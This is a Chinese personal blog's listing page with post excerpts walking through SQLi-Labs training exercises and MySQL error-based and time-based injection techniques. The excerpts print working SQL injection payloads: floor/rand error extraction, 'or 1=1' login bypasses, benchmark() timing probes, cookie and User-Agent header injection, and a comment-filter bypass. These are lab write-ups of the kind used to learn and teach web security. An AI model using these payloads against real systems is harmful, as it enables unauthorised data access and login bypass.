心 空

  • Tools
SQL注入
SQL注入

Sql注入之报错注入

这里说下三种SQL报错注入 通过floor报错 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'grou…

26 9 月, 2016 0条评论 2223点热度 4人点赞 Ricky 阅读全文
SQLLAB

Less-25 Trick With OR & AND

这题的意思是,“你的AND和OR都是我们的了!”...就是,AND和OR全部都被过滤掉了。那么,该怎么办呢? 于是,查了查,发现SQL语句里面不仅可以用AND和OR,还可以用&&和||。就是 AND==&& OR==|| 那么,这样就简单了,直接构造 ?id=1'&&and1=1# 搞定~ 参考:高级SQL注入:混淆与绕过

31 8 月, 2015 0条评论 2242点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-23 Error Based No Comments

这一题它在输入的时候过滤了几个字符 $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); 所以,我们不能用#来注释掉剩下的查询语句。那么该怎么办呢?一个办法就是,让剩下的语句变得完整就行。 $sql="SELECT * FROM users WHE…

31 8 月, 2015 0条评论 1687点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-20~22 Cookies Injection

Less-20这题用Cookies注入。从源码可以看出,服务器将Cookies中的uname项没经过滤就放进查询语句中。 $cookee = $_COOKIE['uname']; ... $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; 这样,我们就可以借助cookies的编辑工具来构造语句。我用的是Chrome下的EditThisCookies。 Less-21这题也是用cookies注入。但是,这一次的cookies…

30 8 月, 2015 0条评论 1996点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-18~19 Header Injection

这是Header 注入。意思是,从服务器要求的Header头里面找到可以注入的注入点。从源代码可以看出,服务器将Header里面的user-agent的值没有经过过滤就带入了insert into语句,这就造成了注入。 $uagent = $_SERVER['HTTP_USER_AGENT']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP…

29 8 月, 2015 0条评论 1834点热度 0人点赞 Ricky 阅读全文
SQL注入

SQL的benchmark()函数

MYSQL中提供了一个计算表达式性能的函数BENCHMARKBENCHMARK(count,expr) BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。**这个函数的返回值始终是0!这个函数的返回值始终是0!这个函数的返回值始终是0!**真是血的教训啊!以后用benchmark()的时候,请擅用and 和 or 连接词,想清楚该用哪个再用。。。个人用benchmark()函数指示用来Time Base Injection。当然,benchmar…

29 8 月, 2015 0条评论 2426点热度 1人点赞 Ricky 阅读全文
SQLLAB

Less-17 Update Query

因为是UPDATE语句,所以最好还是把剩下的WHERE username='admin'补上,不然可能所有人密码都变了。所以可以构造的语句是: uname=admin&passwd=211' WHERE username='admin' and 1=2#&submit=Submit 对应的SQL语句为 UPDATE users SET password = '211' WHERE username='admin' and 1=2#' WHERE username='admin'

29 8 月, 2015 0条评论 1624点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-15~16

Less-15这个注入使用的是布尔值注入: uname=admin&passwd=password' or 1=1#&submit=Submit SQL数据库在查询的时候,因为后面的or 1=1,所以无论前面的查询是否正确,都会返回一个正确的结果,这样就可以Iogged In。 Less-16同上: uname=admin&passwd=password") or 1=1#&submit=Submit

28 8 月, 2015 0条评论 1670点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-9~10

Less-9尝试了很多次,各种组合,但是服务器返回的结果都是一样。尝试 ?id=10000000000 返回结果也是正确,因为不存在这么大的id,所以判断这个页面把正确和错误的信息全部返回一致。于是,使用基于时间的注入,构造以下语句: ?id=1'and benchmark(10000000,sha(1))# 让服务器处理几秒返回结果,找到正确的注入点。 Less-10又是一个基于时间的注入,尝试了下,注入点在这: ?id=1" and benchmark(10000000,sha(1))#

28 8 月, 2015 0条评论 1689点热度 0人点赞 Ricky 阅读全文
SQLLAB

Less-5~8

Less-5 ?id=1'and+1=2# Less-6 ?id=1"and+1=2# Less-7 ?id=1'))and 1=2# Less-8 ?id=1' and 1=2#

28 8 月, 2015 0条评论 2489点热度 0人点赞 Ricky 阅读全文
12

Ricky

这个人很懒,什么都没留下

最近评论
rantrism 发布于 3 年前(12月08日) 您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体...
Bahai 发布于 4 年前(09月10日) :smile: 使用。正想破头脑。
零奇 发布于 4 年前(01月23日) 你好,我使用action设定它每隔15分钟执行一次,但是它实际上是隔一个小时左右才执行一次,执行并不...
woodenrobot 发布于 5 年前(01月16日) 你好按照这个设置 celery 4.4 + redis 版本,队列中的任务会被一次性全部拿完,请问可...
Silver 发布于 7 年前(05月01日) 你看,所有GUI的机制终会导向某种Windows的设计思路(逃
最新 热点 随机
最新 热点 随机
如何自建Coder平台,并且添加VSCode Web Docker容器如何通过DHCP,实现自动获取宿主机局域网IP WireGuard的简单使用,以及自动Mesh相关想法 QNAP NAS:安装Emby,使用MPD配合upmpdcli实现本机DLNA播放 Raspberry Pi 4:将树莓派作为网桥使用 Raspberry Pi 4:使用bluez和bluealsa,将树莓派改造为蓝牙音箱
Java学习总结(之一) Raspberry(树莓派) 2 B 之内网穿透 VScode Windows下配置Visual Studio编译C++ XSS:IE下Host头XSS绕过 使用frp配置内网穿透 Ubuntu 15.10 下安装Xware Desktop(迅雷)

COPYRIGHT © 2025 心 空. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang